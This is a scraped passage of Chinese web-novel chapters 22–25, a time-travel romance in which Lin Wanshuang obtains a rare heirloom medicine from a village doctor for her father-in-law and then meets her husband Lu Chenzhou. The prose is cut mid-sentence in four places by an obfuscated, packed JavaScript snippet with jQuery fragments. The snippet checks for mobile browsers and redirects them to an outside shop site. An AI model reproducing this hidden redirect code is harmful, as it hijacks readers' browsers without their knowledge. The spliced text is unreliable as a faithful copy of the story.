RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17073817|194553||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一只全买下了。兔子也用20块拿了一只最大的回去打牙祭。 小张只换了只最小的兔子,没出钱,用的是她的帕子和小半瓶红花油。 林晚霜背着满满一背篓物资和一个帆布包,拎着两只没换出去的兔子先一步离开了供销社。 不多时,供销社的门也关了。 刘姐骑着她的二八大杠,带着她的鸡和兔子,按着铃铛远远的去了。 小张拎着她的兔子,带着笑容随后也出来,然后她就撞上了一直藏在拐角等她的林晚霜。 她还没来得及惊叫出声,便听到林晚霜的话。 “张姐,我有个事求您。” 小张定了定神:“怎么了小林同志?” “张姐,不怕您笑话,我其实没干过什么农活儿,今天背着东西走路太多,肩膀都破了。想求求您能不能给找点合适的药膏。”林晚霜腆着笑说,“不白换,这两只兔子我都不想带回去了。” 小张在心里仔细琢磨,又看了她这两只兔子:“其实也不是什么难事儿,我男人会调点药膏,就是这不是正经药,不太好说出来。” 这几年过度的鼓吹西医西药,中医中药正在被人妖魔化,甚至有人拿这个和封建迷信扯到一起要求严打。 或者说看她有些迟疑,小张又说:“其实我能拿到这个工作,就是因为我男人治好了供销社主人他老娘的旧毛病。” 林晚霜刚刚迟疑主要是因为她和陆沉舟约的时间快到了,她本想换点东西就走,没想到小张的意思是要她跟自己回去。 她并不是不信中医,相反,她前领导少精症,做试管都生化了两回。最后就是找了个中医喝了三个月药治好的。 她离职的时候,那个领导都在给女儿办满月宴了。 不过现在听到小张这话,她心里头又有了点新想法:“我婆婆和公爹感情好。她走了我公爹就一病不起了,现在见天咳嗽,就医介绍信也不好开。如果他来不了,你男人能听我说的症状给抓点药吗?” 小张这下看她的眼神更同情了:“这得问我男人,不过想来应该是可以的,就是效果没有直接看到病人来的好。” 林晚霜吃了这颗定心丸,当下不再犹豫,立刻同小张走了。 小张也是个厚道人,知道她肩膀磨伤便帮她背了背篓,两人一同朝她家走去。 小张家倒是不远,约莫不到20分钟就到了。 小张的男人也在家,正在鸡飞狗跳地追着孩子打。 “你再说一次,2+4等于几?”男人暴躁的声音几乎要掀翻院子。 被追打的小男孩捂着屁股蛇形走位:“等于5!等于5!” “老子打死你个250!”男人把扫帚舞的呼呼作响。 男孩不可避免地被抽了一扫帚:“我是250,你就是大250!” 小张见怪不怪地推开院门:“常得有!来活了!” 男人手中扫帚落地,男孩跟看到救世主一样冲过来抱住小张:“妈,你不在家,这男人想打死我。” “你自己跟你妈说,一个数学作业,你做了多久?错了多少道题?都2年级了。2+4都能算错!”男人气喘吁吁指着他怒斥。 “我来看着他写作业,”小张说,“你和这个大妹子聊聊。她是军嫂,婆家遇到了点事。人靠谱!” 男人立刻转头看向林晚霜:“那咱们里面坐?” 22. 第 22 章 常大夫家书房里,林晚霜喝着开水,看着面前在沉思的男人。 院子里已经响起新一轮的“母慈子孝”。 “我打死你算了,17-13等于5,你咋就跟5过不去?”小张崩溃的声音清晰地传了进来。 “我要离家出走!”男孩悲痛欲绝地哭闹着。 脑海中小爱提醒她,现在的时间是晚上七点十一分了。 天已经黑了,小爱提醒她陆沉舟已经达到国营饭店。 她几乎可以想到男人发现她不在的时候该有多生气,希望不要因此又怀疑她要做什么坏事吧。 唉!他怎么来那么早?搞得她现在真是进退两难了。 “你这伤好治,”常大夫摩挲着杯子说,“我等下给你调个膏药,连着抹两天就行了,但是伤好之前得主意不能再磨破。” 她点点头,心思已经不在这里了。 然而常大夫却又提起陆父的病来。 “你公爹的问题很复杂,听上去他原本身体底子就不好,加上妻子过世导致情志郁结,身体现在非常虚弱,不能随便用药。最好还是带过来让我看看。” 她面露为难之色:“常大夫,我们住在城郊,即使用板车推到这里,也得走六七个小时,现在外头那么冷,我是担心他受风。” 常大夫点了点头,思考了一下:“我也可以去你家,但是我还在化工厂上班,只有等月末旬休了才能去。” 在小爱的提示下林晚霜知道,现在这年头虽然提倡双休,然而其实并不能。 城市职工其实每个月才有两三天固定的假期。其余时间,要么在促生产,要么由单位组织大家共同学习语录和□□。 她对常大夫愿意上门为陆父看病的事很动心。但无奈他们三天后就要去边疆了。 不过这些她不能说,她现在在常大夫这里的人设是,一个丈夫在部队不能回家,只能自己扛起夫家重担的军嫂。 一旦她说出真实身份,只怕不但得不到帮助,还会惹出麻烦。 她思考了一下,问常大夫:“您可不可以就按我说的情况,先给我公爹抓点药吃呢?” 这法子还是张姐跟她提到的,也是让她没有及时赶去国营饭店找陆沉舟的重要原因。 然而常大夫却摇了摇头:“你公爹的情况已经很危险了,没有给他做过脉诊和面诊之前,我不会给他开药。药理一道,差之毫厘谬以千里。不过……” 他犹豫了一瞬,仿佛想起什么似的,赶紧端起搪瓷杯喝了口水。 然而他这一瞬的犹豫却早已落入林晚霜眼中,她心知常大夫应该是想到了什么。只是碍于什么不能说出来。 而这,很可能就是救治陆父的关键! 她毫不犹豫立刻起身跪了下去。 上辈子她除了祈求父母家人不要再折磨她之外,从未对人下过跪。 如今穿过来短短几日,这已经是第二次下跪了。 第一次下跪,是为了求药厂的大姐给陆父找药。而这一次下跪,她是为了给陆父求一线生机。 她不知道陆沉舟有没有意识到陆父的身体根本不足以撑过去边疆的路途,她不敢问,也不敢提。 对陆家,她从始至终带着愧疚,虽然造成这一切的罪魁祸首不是她。 然而,她用了这具身体,无论她愿不愿意,原主的一切就同她有了关联。 原主父母的仇,原主对陆家犯的错她都该承担起来。 说她蠢笨也好,迂腐也罢。 总之她得担着。否则这一辈子她的心都饶不过自己。 陆沉舟母亲的死一直压在她心上,虽然现在她知道了罪魁祸首并不是原主,但原主沾了边,那她总得要为他母亲报了仇才能真正放下。 而陆沉舟的父亲被原主捆绑着凉,也是她该承担的罪。她甚至觉得,如果陆父因为这场病死在路上,死在边疆,那这人命她就永远放不下了。 如今眼见着常大夫可能有办法,她只能用跪去再做一回道德绑架的恶人。 想到这里,她低下了头,声音悲切:“请常大夫救我公爹一命!” 常大夫的手一顿,放下搪瓷杯,站起身来,却在要扶她的时候像是想起了什么一样,叹了口气,停了手。 “我是家传的医术,但这些年破四旧,为了安稳,我去化工厂做了工人。也有些街坊邻居偷偷来求药,太穷的,太苦的我都没收诊金和药费。” 他叹息:“家里日子过的越发拮据,你张大姐和我闹过好多次离婚。我的日子要过下去,只能答应她不再给病人贴补。” 林晚霜跪在地上,细细咂摸他这话里头的意思。难道,他怕自己没钱?可是张姐是知道她带了钱的啊。 常大夫还在继续说:“我祖上是前朝御医,家里有传世的安宫牛黄丸。” 安宫牛黄丸! 她立刻抓住了重点,马上开始查询。 原来安宫牛黄丸是宫廷秘药,因为主要成分是犀角和一些名贵药材。所以在80年以后就不再对外制作。 这药很贵,但是却能为濒死的人续命。 21世纪曾有人用不公开的方式秘密出售了一颗购于80年代的安宫牛黄丸,成交价据说高达9位数。 这是真正可以给陆父续命的药! 常大夫叹气:“可是我一旦把这药给你……不,不能给你。对不住了大妹子,一旦给你,你张大姐立刻就会带着孩子和我离婚的。” 林晚霜明白了,这药的确珍贵,传世传家,风雨飘摇那么多年,居然都未曾动用。 可是,这药能救陆父的命。 她看向常大夫:“常大夫,您医者仁心,我实在想要这药却不能害了您,能不能把我张大姐也叫进来,我们一起说说?” 常大夫犹豫一瞬,终究还是不落忍,于是便扬声喊了媳妇进来。 张姐已经换下了不合身的工装,穿着一件打了补丁的旧袄。 此刻她头发凌乱,面色潮红,袖子挽的高高的,胸脯还在剧烈欺负,看得出刚刚经历了一场大战。 她进来时还嘟囔着:“也不知道这兔崽子随了谁,简直气死个人。” 待看到跪着的林晚霜她立刻吓了一跳,伸手要扶她:“大妹子,你这是干啥?” 林晚霜避开她手,不让扶。 她立刻又转头骂常大夫:“常得有,你欺负我小林妹子了?” 常大夫立刻摆手:“我哪敢,是你这妹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17078586|194553||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子她有事求我们。” 张姐立刻狐疑的看向林晚霜:“小林同志,你那两只兔子我可还没动,到底是有什么事需要你下跪求人?” 林晚霜立刻明白,她这是在说,如果事太麻烦我就把兔子还你,你自个儿拎回去。 事已至此,她还能怎么办?本就是她有求于人。 “张大姐,常大夫,我知道我是为难你们了,但这事儿,”她斟酌了下措辞,决定只说陆父,不提自己,“我公爹难啊!” “我公爹,45年把全部身家捐给组织,我公爹有三个兄弟。大哥死在南京保卫战,三弟死在长征路上,四弟死在49年解放前最后一战,妻儿都死在渣滓洞里。满门忠烈只剩我公爹这一支了。” 常大夫的眼眶红了,他看向身边的妻子,发现她虽然面上没表情,但双手却在揪自己的衣服。 林晚霜此刻也是真情实意,眼泪掉的厉害。 她原生家庭就那样,不说爱了,但凡能有一天家里不吵架都是好的。 她家里没好人,她也不觉得自己是什么好人。 但这不影响她喜欢好人,崇敬好人。 陆父原本在她心中就是很好的人。 在从陆沉舟陆星野的只言片语中拼凑出陆家过往后,她更是无法抑制自己的心情。 她想起曾经在网络上看到那面忠字旗的震撼——国家兴亡,匹夫有份……伤时拭血,死后裹身。 满门忠烈,陆家只是这些时代剪影中最普通的一个,但总不能因为他们很普通,就活该被掩埋,被淹没,被放弃吧? 她感觉自己浑身都在颤抖,喉咙酸涩发堵,眼泪摔落在面前新形成的水洼中,溅起一圈苦涩的涟漪。 “不该是这样的,”她突然失去了语言组织的能力,“他16岁入伍,他爸爸是很好的人,他妈妈死了,他爸爸如果也死了他会怎么样?” 张姐的眼泪突然落了出来,她仓惶的转过头,看见正在擦眼泪的常大夫,只觉得自己已经发不出声音来了。 林晚霜已经乱了:“为什么这世道活着就那么难,为什么啊,我只是想活下去,我只是想让大家都能活下去。” “他爹,”张姐擦着眼睛,“我不行了,我真不行了。这家上一辈满门忠烈,结果儿子又去当兵了。” 常大夫更是哭的只能点头:“这姑娘情志郁结,不能让她再哭了。” 张姐点头去拉她起来,此时的林晚霜心里早已乱成了麻。她虽然请常大夫将张姐叫进来,但其实她也没有办法了。 人家传世传家的药,她没脸强买。 可是知道了有这个药不买她又舍不下。 千头万绪交织在一起,她自己都乱了。 此时被张姐拉起来,整个人也木木的,完全失去了思考的能力。 只是嘴里还念叨着:“他爸不能死,死了他和弟弟都会受不了的。” 张姐把她扶坐到椅子上,然后走到了常大夫身边::“他爹,小林妹子是想买那个药吗?” 常大夫点了点头,声音哽咽:“我没卖,我答应你了,不可以再败家。” 张姐的眼泪又涌了出来,她废了好大劲儿才憋回去:“他爹,把这药卖了吧。” 23. 第 23 章 听到一向反对他做滥好人的张姐说出这句话,常大夫惊愕地一时间连鼻涕都忘了擦。 “他爹,这世道人活着都太难了,”张姐双眼无神的看着还在哭泣的林晚霜,“她家的事我不知道还好,现在知道了……他爹,你说你家传了那么多年,是不是就为了遇到这么个人?再说了,这世道,万一让人知道咱家有这个,可不是好事儿。” 见她已经说服了自己,常大夫赶紧点头:“卖了卖了,万一被割委的人知道咱们有这个,搞不好得出事,这几年风声越来越紧了。” 张姐深吸了口气,进里屋去了。 不多时,她拿了个老檀木的盒子出来。 那盒子很是小巧,盒子周边用蜡密密实实地封了口。 盒子上有着古朴却特殊的图腾,显得十分特别。 张姐把这盒子递给常大夫:“你看着处理,我出去收拾那兔崽子去!” 常大夫接了盒子连连点头:“你放心,我必会问她多多的要钱要物。绝不吃亏了去。” 张姐破涕一笑:“要钱要票就行了,别要物,妹子家要办事呢。这些物可是她花了好大的价才从我们供销社换到的。对了……钱和票也别多要。家里有病人,男人在部队里,这家现在都她撑着呢。” 林晚霜此时尚且不知她想要的东西这夫妻两已经决定给她了。 她还在哭,两世为人从没有像今天这样哭的如此凄惨。 哭到最后她都不知道自己原本是在为什么难过了。 常大夫见她发泄的差不多了,唯恐再哭下去伤神,就从抽屉里拿了珍藏的金针,捻动着扎入一个个穴位。 林晚霜哭着哭着只觉得一股子清凉劲从心底升起,慢慢地她的嗓子眼睛都褪去了酸涩。 再然后她看清了坐在桌子边喝水的常大夫。 她的意识回归了,这才意识到刚刚自己居然失控。 她在脑海里问:小智,我刚刚是怎么了? 【小智:宿主刚刚的情况在心理学上叫做躯体化,是焦虑症的典型表现。但在中医理论中,这属于情志内伤,脏腑失调。刚刚常大夫给你扎了百会和神门穴。给你泄了肝郁,所以你恢复正常了。】 林晚霜这才知道,原来自己的情况那么危险。 她赶紧起身对常大夫道谢。 “没事,人之常情,人之常情。”常大夫吸了吸鼻子,瓮声瓮气的说。 “您眼睛怎么……”林晚霜这才发现他眼框和鼻子都红了。 常大夫干咳一声打断了她的询问,他拿起一个檀木盒:“小林同志,经过我和你张大姐的协商,我们决定把这安宫牛黄丸卖给你。” 巨大的喜悦瞬间让林晚霜忘记了自己刚刚想问什么,她睁大眼睛,看着那檀木盒。 “真的吗?谢谢!”她一边说,一边把身上的钱票全部掏了出来,“您看还差多少?我明天给您送过来!” “够了够了!”常大夫伸手推开这些,“多了多了。你收回去,收回去!” 林晚霜才不听,这些哪里就能够?这药多难得她已经知道了。 两人推搡半天,张姐已经煮好了饭来叫人。 “他娘你快帮我,”常大夫赶紧搬救兵,“这妹子非要把钱和票都给我,你看这不瞎胡闹嘛!” 张姐看了眼,走上前,拿起一张大团结塞给林晚霜:“好了,这张你收回去,剩下的我们拿了。这就两清了。” 两清?不能够的! 林晚霜已经记住了这份救命之恩。 “张姐,常哥,多谢你们了,”她收下钱,吸了吸鼻子,“我会记住你们的大恩大德。” 她心头默默补了句,等以后必将百倍报还。 然而这话没必要说,说出去只会给他们徒增负担。 “你公爹那情况,这药得分三次吃,”常大夫已经开始叮嘱服药的问题,“但这药毕竟放了多年,一旦开封很快药性就会流失。所以一定要在两个小时内,分三次兑水吞服。” “好。我记下了。”林晚霜握紧了手中木盒。 “等他服了药休息一周后就带过来,”常大夫又说,“这药不是万能的,只能救急,不能彻底根治。” “好,我记下了。”林晚霜点头,然而却不能告诉他,根本没办法休息一周,也没办法带给他看了。 张姐看他们这都说完了,赶紧张罗:“好了好了,快来吃饭。今儿个有兔子肉。对了,小林妹子,你这兔子里居然有一对儿。这下子我们家又可以多一个进项了。” 常大夫闻言也笑了:“兔子养好了一年可以生三窝,他娘,你以后不愁肉吃了。” “我哪里有那么馋,”张姐开心极了,“你们两快点,这天冷,饭菜都放凉了。” 林晚霜看看时间已经快九点,根本不敢耽搁:“常哥,张姐,太晚了。我还得赶着回去。家里有病人有小孩。” 张姐和常大夫对视一眼,爽朗一笑:“那我捡几块兔子肉给你带走。” “不用不用,”林晚霜摆手,“太晚了,再说一周后我还来呢。” 张姐想想也是,而且拿人家送来的兔子肉做人情总归不太好听。大不了一周后她豁出去,割刀肉回来。 谢绝过分热情的张姐相送,她背着背篓和帆布包自己出了院门。 堂屋里的欢声笑语还在耳边。 她站在院门外趁着月色,收拾了下今天在供销社换到的东西。 将布料取了一整匹,解放鞋收了三双,装着针头线脑的铝饭盒收起来,又收了所有棉花后。她将剩下的东西连着那张大团结一起包进一张布里打成包裹。 她将院门轻轻推开,将这硕大的包裹小心拎起,放进张姐家院子。然后关好了院门。 等一切妥当,她总算松了口气,背起那空了大半的背篓,加快步伐向着国营饭店方向去了。 一路跑出很远,确定哪怕常大夫他们发现那包东西也追不上她之后,她才慢慢降低速度。 等到了国营饭店,已经九点半了。 国营饭店早已打烊,而陆沉舟的定位却显示就在这附近。 林晚霜喘着气擦汗,正要找他,却听到他的声音。 那声音不大,却带着满腔怒火:“你让我在国营饭店等着,你人呢?” 陆沉舟从黑暗中走了出来,清冷的月光在他身后拉出一条狭长,扭曲的身影。 陆沉舟从山上拿了东西就急着赶过来了。 他计算过她的脚程,走再快到了供销社也应该快六点了。 他不认为那个时间的供销社还能有多少东西让她换,所以他进城后去黑市刘三叔家把东西放下就直奔国营饭店。 结果他一直等到饭店关门,都没看到她。 他甚至又返身去供销社那边找她,结果自然是找不到的。 他再次来到国营饭店,想着如果再等不到,他就回去,沿着进城的路好好找她。 他没想过她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17082254|194553||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会不会是食言了,但是他已经想到她可能出了意外,甚至遭遇不测。 而在他即将耐心尽失的时候,她出现了。 这一瞬,他所有复杂的情绪都化为滔天怒火,她怎么就能让他这么着急? 林晚霜却没有受到他的影响,她此时心情很好,安宫牛黄丸的盒子还揣在她的衣服里。每走一步都是沉甸甸的踏实。 她仰起头,看着他:“我换到了好东西!你想不想看?” 她的脸扬起,沐浴在月光下,笑容狡黠。 而他却先注意到了她红肿的眼睛,他伸手捏起她的下巴,用手指抚摸上去,表情严肃:“你哭了?谁欺负你了?带我去收拾他。” 原来她不是故意来晚而是被人欺负了? 陆沉舟的怒火越发汹涌,然而这次已经不再是对她。 “没有人欺负我,我今天遇到了好人,”她仍旧笑吟吟的,还从兜里掏出了盒子,“快看!安宫牛黄丸,给爸的!” 陆沉舟原本还在酝酿的怒火突然就这样熄灭了。 他不敢置信的看向她手中那个盒子。 安宫牛黄丸?! 几年前,有位重要首长在海岛师部医院抢救,他接到一个秘密任务去京都某个地方取了一颗安宫牛黄丸护送到师部医院。 一颗药下去,他亲眼看到已经气若游丝的首长身体各项指数急剧上升,最后趋于平稳。 母亲离世他来不及,但父亲病倒时他第一时间就想到了这个药。 但做过这个任务的他知道这药有多难得,全国加起来现存量也不到百颗。 而T市明面上是没有的,所以他放弃了,开始积极寻找其他办法。 “真的是安宫牛黄丸?”他忍不住怀疑。 林晚霜将一个密封严实的檀木盒塞入他手中。 老檀木盒散发着岁月沉淀后特有的历史底蕴,花纹古朴,同他护送的那枚竟是同样的制式。 他仔细辨认了花纹和蜡封,突然长出了一口气。 “林晚霜,谢谢你,”他看向林晚霜,所有的情绪在这一刻只剩下感动,“我爸有救了。” 他其实一直都清楚,以父亲现在的身体状况去边疆,这一路会有多难。 所以他只能逼着自己去尽量做足准备,至于这些准备有没有用。只能说尽人事听天命。 这些事他一个人扛着,谁都没有告诉。 扛得久了,连他自己都没有意识到其实他一直绷着一根弦,憋着一口气,从来没放松过。 可是现在,看到这枚安宫牛黄丸,他才发现,这一刻如潮的疲惫席卷了他的身体。 他却觉得好像心头有一座大山被移开,连呼吸也轻快了。 “是爸好人有好报,”林晚霜并不居功,她将今天的事讲了一遍,“常大夫和张姐都是好人,我觉得我给的还是不够,这药太珍贵了。人家一代代传下来不容易。” 陆沉舟点头:“等下换了药,我们把剩下的肉干给常大夫家送过去。” “不去黑市了?”林晚霜问他。 “去,但先去常大夫家,你说的对,他的恩情我们要记,”他很认同现在的她,“但现在回报不影响日后再报。” 说完这些,他又掏出个铝饭盒。 一直放在身上,饭盒现在都还是温热的。 “你专门给我打的饭?” 然而一开盒盖她就愣住了:“怎么是红烧肉和大米饭?这得多贵啊!” 24. 第 24 章 林晚霜打开饭盒时,瞬间怔住。 她可记得,一份红烧肉得十二块钱加两斤肉票呢。一碗大米饭得五块钱加一斤粮票。 看这饭盒里的量挺大的,应该不是半分。所以这就是十七块钱,两斤肉票和一斤粮票? 天呐,这让她怎么下得了口。 “我吃过了,现在很饱,”陆沉舟见她目光转向自己立刻说,“你快吃吧,爸和星野在家也有肉吃。” 在去山上拿东西前,他鬼使神差地拿了个空饭盒。 到了国营饭店正好听到服务员喊“最后一份红烧肉和大米饭了”,他当时立刻就掏出饭盒去买了。 等付账时,他又突然要了一块钱的窝头。 服务员还问了他一句“这么多你吃的完吗?” 而也正是这一句,他才意识到他买这份红烧肉居然是想给林晚霜的。 他拿着装好的饭盒和窝头去座位上吃饭时,开始认真分析自己为什么会突然生出这种诡异的情绪。 是的,诡异的情绪。 一直以来他都是谋定而后动的,可以说他自己做的每一件事,说的每一句话都是经过深思熟虑。 而今天,他先是莫名其妙拿了个饭盒,又莫名其妙打了份肉,现在更是莫名其妙想要把这份肉留给他曾经厌恶至极的女人,他名义上的妻子。 这完全不符合他的性格。 而摔了头,失忆,脑域开发的又不是他。 新闻上没说脑域开发还会影响别人啊? 他尝试用科学去解释自己的行事逻辑,最后宣布失败。 他活了二十五年第一次遇到如此复杂的问题,难道是他学的还不够多? 然后这份对自己行为的无法解释在漫长的等待中最终化为更复杂的情绪。 直到她终于出现。 林晚霜此时经他提醒,也想起他杀的那只鸡和那两副没吃完的内脏。 三天后就要走,就算是陆星野也不可能再节省。 想到这里她不再迟疑,拿过陆沉舟递过来的筷子站在原地开始吃起来。 又是差不多饿了一天,现在即使给她来一碗陆星野做的内脏她都能吃的喷香更别提国营饭店大厨的手艺了。 琥珀色泽,颤巍巍的红烧肉扣在已经不再有热气的白米饭上。 每一块都是见方的麻将块大小,五花三层,肥肉透着光,仿佛一碰就会融化,瘦肉则是枣红色。 粘稠的汤汁不多不少,恰好包裹住每一块肉,并渗入雪白的米饭,染出一片酱色。 她快速挑起一块肉放入口中,肥肉入口即化,那种丰腴的油脂香在舌尖弥散,瘦肉纤维已然酥烂,一丝一丝,全是吸饱了汤汁的咸鲜与微甜。肉皮更是惊艳,胶质已然完全释放,软糯、弹牙,甚至有一点粘嘴唇。 她赶紧扒了一大口被浸透了肉汁的米饭,那种碳水和脂肪带来的满足让她忍不住一口接一口的往下吞咽。 终于吃到半饱,她才有空抬起头观察一下周围。 这一观察,她就看到了陆沉舟的笑容……她不合时宜地想到自己的同事看着孩子吃饭的样子。 她忍不住为自己的想法感觉肉麻,于是赶紧转移话题:“陆沉舟,你吃的也是红烧肉吗?” 然而这话一问出口,她惊讶地发现这男人居然别过头去,仿佛没听到她说话。 瞬间,她已然明了:“你自己吃窝头给我吃肉,你还真是……” 心头涌上一股感动。 想想前世那个前一秒还说着小林你是我最看好的员工,后一秒就告诉她年轻人要多吃亏的老板。 她深深地感到了跟对人的幸福。 这才是值得为他抛头颅洒热血的好主公啊!如果不是怕吓到他,她简直当场就想来个纳头就拜。 自己吃窝头给员工吃肉!就问古今中外还有谁? 就冲这点,她甚至觉得以后他的老婆坐月子她都愿意去伺候! 至于有没有想过自己当他老婆? 林晚霜有着非常清醒的自我认知,她母胎单身,性格古怪,曾被不止一个相亲对象评论过“你还是和你的工作结婚去吧。” 所以就连普通男人都看不上她,何况是陆沉舟? 他虽然现在是虎落平阳了,但凭混迹职场十余年看人的经验,她深信这只是暂时。 他的未来势必是要乘风而起,而她既然有这个机会,势必是要抱紧大腿求一个鸡犬升天的。 他们的婚姻本就来自原主的恶意算计,现在之所以还勉强维系也不过是因为时事所逼。 就他这样的人,日后必会配一个出身高门大户,品性高洁,花容月貌的好女人。 她清晰地认知让她从决定上交投名状的那刻就目标明确。要做他身边后世那种年薪千万的特助! “陆沉舟,这辈子你都别想抛下我!”想到这里,她眼神越发坚定。 只要抱稳老板的大腿,就凭借她这张死人说活的嘴,凭借脑海里的小智。 她何愁未来?何愁前途?搞不好老了她还能包养十个八个小奶狗小狼狗对她争相献媚。 “你在说什么胡话?”陆沉舟被她这句莫名其妙地话搞糊涂了。 他们不是夫妻吗? 他虽然不太懂夫妻之间该如何相处,但他明白,结了婚就是一辈子的事。 他以前是想过离婚,但自从确认她失忆后他就没再起过这样的念头了。 失忆后她和他三观吻合,思维一致。她身上显露出来的坚强,勇敢,自信,他都很欣赏。 除了她爱撒谎和总觉得自己是借尸还魂——然而前者他已经想通了,后者她也答应他会努力学习科学发展观。 所以她突然说什么“这辈子都别想抛下我”是什么情况?他为什么要抛下她? 陆沉舟想不通,只能理解为她在说胡话。 而他不知道的是,自己这下意识地一问却让林晚霜心一惊:完辣!老板他是不是真的在考虑踢掉我?! 不行!这一定不行! 林晚霜绝不允许自己错过这位神仙老板。 所以—— “陆沉舟,我一定会更加努力的!相信我!” 林晚霜恶狠狠地扒饭,在心里发誓:我会努力变得让自己更有用,让你离开我就不习惯! 而她这句表态, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17085625|194553||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在陆沉舟看来却是在说会努力学习。 于是他瞬间想通了:原来她现在意识到了自己之前说借尸还魂有多不科学,有多好笑。 嗯,很可能是今天晚上遇到的那位医生,毕竟中医的神奇也一度让人把它和玄学挂钩。 很好!她果然是开悟了! 既然她如此积极的表示出对学习的渴望,那他必须要给足足够的肯定,绝不能影响她的学习积极性! 想到这里。他沉稳地点了点头:“很好,我相信你一定可以!” 他的鼓励让林晚霜扒饭更有劲了。 神仙老板!居然给了她如此重要的承诺。看来升职加薪,成为老板的心腹已指日可待! 然而她很快就扒不动了。 吃饱了。 穿越但现在,今天是吃的最好,也最饱的一顿。 林晚霜遗憾的摸着鼓起来的肚子,看着还剩小半盒的肉和米饭。 “你吃饱了?”陆沉舟向她确认。 她点头,饱的不能再饱了。真可惜,不知道拿回去热了下一顿味道会不会不太好? 正想着呢,她手中的饭盒和筷子已经被他拿走。 她一愣,却看到他就着自己用过的筷子,也不擦,直接就吃了起来。 速度很快,却绝不算狼吞虎咽。 三家两口,饭盒瞬间见了底。 林晚霜这才后知后觉:“你饿了?” 随后她才意识到这是句废话,油水才是耐饿的关键,就他这么大的个子,这么大的运动量。光吃干粮怎么可能熬得住。 所以他刚刚那句“我吃过了,现在很饱”明显就是骗她的。 她顿时心情越发复杂起来,如果不是怕恩将仇报,她这一刻都想以身相许了。 陆沉舟收拾好饭盒,这才看向她:“走吧,我们去拿东西。” 林晚霜肩膀有伤,背篓就归了陆沉舟。 两人很快走到黑市这边。 此时这里正热闹,陆沉舟让她离巷子远点,自己钻了进去。 约莫过了十多分钟,他背着满满当当的肉干,提着鸡和兔子从墙上跳下,出现在她身后。 “快走,别被人看到。”他低声说。 两人就向着红星制药厂家属小院去了。 一路上陆沉舟绕开了所有可能遇见人的路,偶尔绕不开的,他就上墙。 几十斤的肉干和十几斤的活兔活鸡,在他那里仿佛都没有重量。 就这样又走了约莫四十多分钟,两人终于到了那个简陋的小院。 林晚霜用导航地图检测了确认周围的人都在家中,陆沉舟也警惕地观察了四周。 一个眼神对视,她猫着腰过去敲响了那户院门。 门敲四下,鸽子叫三声。 门“吱呀”一声开了,门口的老太婆像是等候已久。 看到林晚霜,她面容上闪过一丝喜色。 继而探头出去观察了一圈,发现一个背着背篓拎着活物的男人走了过来。 她深情瞬间慌乱,立刻就要缩身关门。 “婶儿,那是我男人,”林晚霜赶紧拦住,“他背着肉。” 25. 第 25 章 听到林晚霜说那是她男人,老太婆紧绷的身体才松懈下来。 “你们快进来,花儿已经睡了,她妈在堂屋里头等着呢。”老太婆低声说。 今晚她家有大事,怕小孩子嘴上不把门,婆媳两早早就哄着她去睡了。 其实本来是儿媳妇要在这门口等的,但却被她强行拦住。 这毕竟是投机倒把,万一出了事,她在前面顶着,还能让儿媳妇和孙女有个活路。 她从天刚黑等到现在,儿媳妇出来劝了好几次都愣是不肯回屋。 眼看天色越来越暗,她这心里头也七上八下乱的很。 生怕人来,又生怕人不来。 这会儿她侧身张罗让林晚霜进来,自己却没动。 双眼紧紧盯着陆沉舟走过来,等看到他背上的背篓和手中的活物。她才松了口气,伸头看了看四周,轻轻锁上院门。 然后她迈动自己那双小脚,越过林晚霜和陆沉舟,直撞向那一团漆黑的堂屋:“花儿妈,快点灯。大妹子家真的来了!” 堂屋里来回踱步的女人立刻伸手在衣服上擦了擦冷汗,然后拿起桌上的火柴轻轻划亮。 “刺啦” 那淡黄色的火焰升腾起来,她用另一只手挡着那不存在的风,将火焰凑进那豁了口半盏煤油灯。 幽蓝色的火焰立刻就在这不大的堂屋里跳动起来。 火光忽明忽暗映射出女人那张带着硕大黑眼圈的眼睛。 她吹灭火柴,迎上林晚霜两人。目光几乎是立刻就转向了放在地上的背篓和正在速腾的野物。 然而很快,她脸上就浮现出巨大的悔恨。 这两天来,她麻着胆子去偷着去了废药间好几次。 所谓废药,不过是一些因为形状不够好的和什么问题都没有,却在人工装瓶时掉地上沾了灰的药。 这些药自然是能吃的,所以即使被叫做废药,却并不会真的作废。 有人要,她也就只敢少量多次的夹带出来。零零总总,也就拿了不到两包。 